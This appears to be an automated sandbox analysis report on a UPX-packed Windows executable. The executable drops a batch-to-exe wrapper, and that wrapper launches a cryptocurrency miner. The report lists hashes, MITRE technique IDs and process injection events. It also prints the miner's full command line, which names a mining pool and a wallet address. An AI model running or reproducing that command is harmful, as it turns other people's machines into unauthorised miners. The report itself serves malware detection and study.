73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
301s
platform
windows10-2004_x64
resource
win10v2004-20240221-ja
resource tags

arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
24-02-2024 11:45

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1712835645-2080934712-2142796781-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1712835645-2080934712-2142796781-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
1892	b2e.exe
2032	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2032	cpuminer-sse2.exe
2032	cpuminer-sse2.exe
2032	cpuminer-sse2.exe
2032	cpuminer-sse2.exe
2032	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2188-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2188 wrote to memory of 1892	2188	batexe.exe	89
PID 2188 wrote to memory of 1892	2188	batexe.exe	89
PID 2188 wrote to memory of 1892	2188	batexe.exe	89
PID 1892 wrote to memory of 1932	1892	b2e.exe	91
PID 1892 wrote to memory of 1932	1892	b2e.exe	91
PID 1892 wrote to memory of 1932	1892	b2e.exe	91
PID 1932 wrote to memory of 2032	1932	cmd.exe	93
PID 1932 wrote to memory of 2032	1932	cmd.exe	93

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2188
- C:\Users\Admin\AppData\Local\Temp\515C.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\515C.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\515C.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1892
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\54C7.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1932
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2032

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\515C.tmp\b2e.exe

Filesize
8.8MB

MD5
5686c908c82f81edbeee7f21b585908b

SHA1
f703c22495b535620f2b17c2810652de518d9481

SHA256
072156ad345fdc5633c2c37b4cced263da14f130e9e6e7b55f293c12950ea61a

SHA512
ff760b78a549f0d2c81e51c1b749ed9f87973bf8eb18d586c8fe13296b114b748102e6a3b021fa37aeace578346bbdbf7e181a0af76959252d9ff9204305bf90

Download Submit
C:\Users\Admin\AppData\Local\Temp\515C.tmp\b2e.exe

Filesize
2.4MB

MD5
af8a839bb850b06ecd6d4f61c771ab9b

SHA1
2199c46c8af9358da359722ef2b481439ee17032

SHA256
5a4565a28c2b96caa186315e2e8637bd2d6150695cc2a3e4f0569be553ebba75

SHA512
0aec30bb83b0fa1d66d74fd97d45095c0c339b27aa879c9137bd225b2d964938fc69b4483ed980422387f889a192d820c16ed20eca27473f056f9ee59aadd9f8

Download Submit
C:\Users\Admin\AppData\Local\Temp\515C.tmp\b2e.exe

Filesize
3.1MB

MD5
b6487680220893afe9b90376e4616918

SHA1
8bff5d9c05880f6a873ccf0b84e590f832078a74

SHA256
a9703cd42c54ef0af5621ef4099fa5bcc08f96bc786ba5fd4b0e84ac98e58424

SHA512
2e525bc64ec942a40467978f65e8df7e01ab4ef966a31ec5a8b91afd9616bad94393db5d1aebcf03409071ec20a1758bea116150cfdcfa54941b4b6fb8f3b990

Download Submit
C:\Users\Admin\AppData\Local\Temp\54C7.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.2MB

MD5
ca123cd7917e1ddd80baf3a366fd8d55

SHA1
c54993c60c6413c5d9b7959f556755cbabb74a8e

SHA256
8d2789245d1eb6ab1101491cd28dc6256b7a1a44a2f44e63a71a0ab957966d05

SHA512
f9081c4a176fcd2c6b2f09d7650bfc16bc5e9569c155ba6e504c9bce9e85c5c7fc0bb9d2b243c7c84c751c35e2fb3ea0350031f633275434c26deae8cccb63ed

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.6MB

MD5
5d9dcb27c7c0e359fcc77e8bcdd18fd3

SHA1
5b5ba808b2fec1139ba76cbb8531fda598fd6f6e

SHA256
9e15c124a906a99c4cb012f43de9e667e4d8acb0556dd5e1927ba147e281eaf8

SHA512
2c8d7d1c4fbeb029921b76fc3baeb11483d1737aa3ce68e0d902984d7681006a31f86ec674b7af09c7a2d7a01dee133c4b441f03b08be5b0dfc19b683170d48d

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.1MB

MD5
2b21d98b470eaa1e9333f52f13eee54b

SHA1
7859607d8004999748e748771111d79b0f49cc33

SHA256
09103a0b454836dd86f6f9654e87228b016c301133c3a6f3cbf1d99c7068b522

SHA512
283371f7a5f2b1740764f8ec09f5858ec89d88dd7fcb3d8e7b17a2cdf4c3c6763ef92e588af643a7e4db0c83006c541562fd114858274ffd2e70ae23fa13b44f

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1892-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1892-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2032-45-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2032-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2032-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2032-46-0x0000000051E10000-0x0000000051EA8000-memory.dmp

Filesize
608KB

Download
memory/2032-47-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/2032-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2032-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2032-44-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2032-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2032-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2032-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2032-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2032-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2032-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2188-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download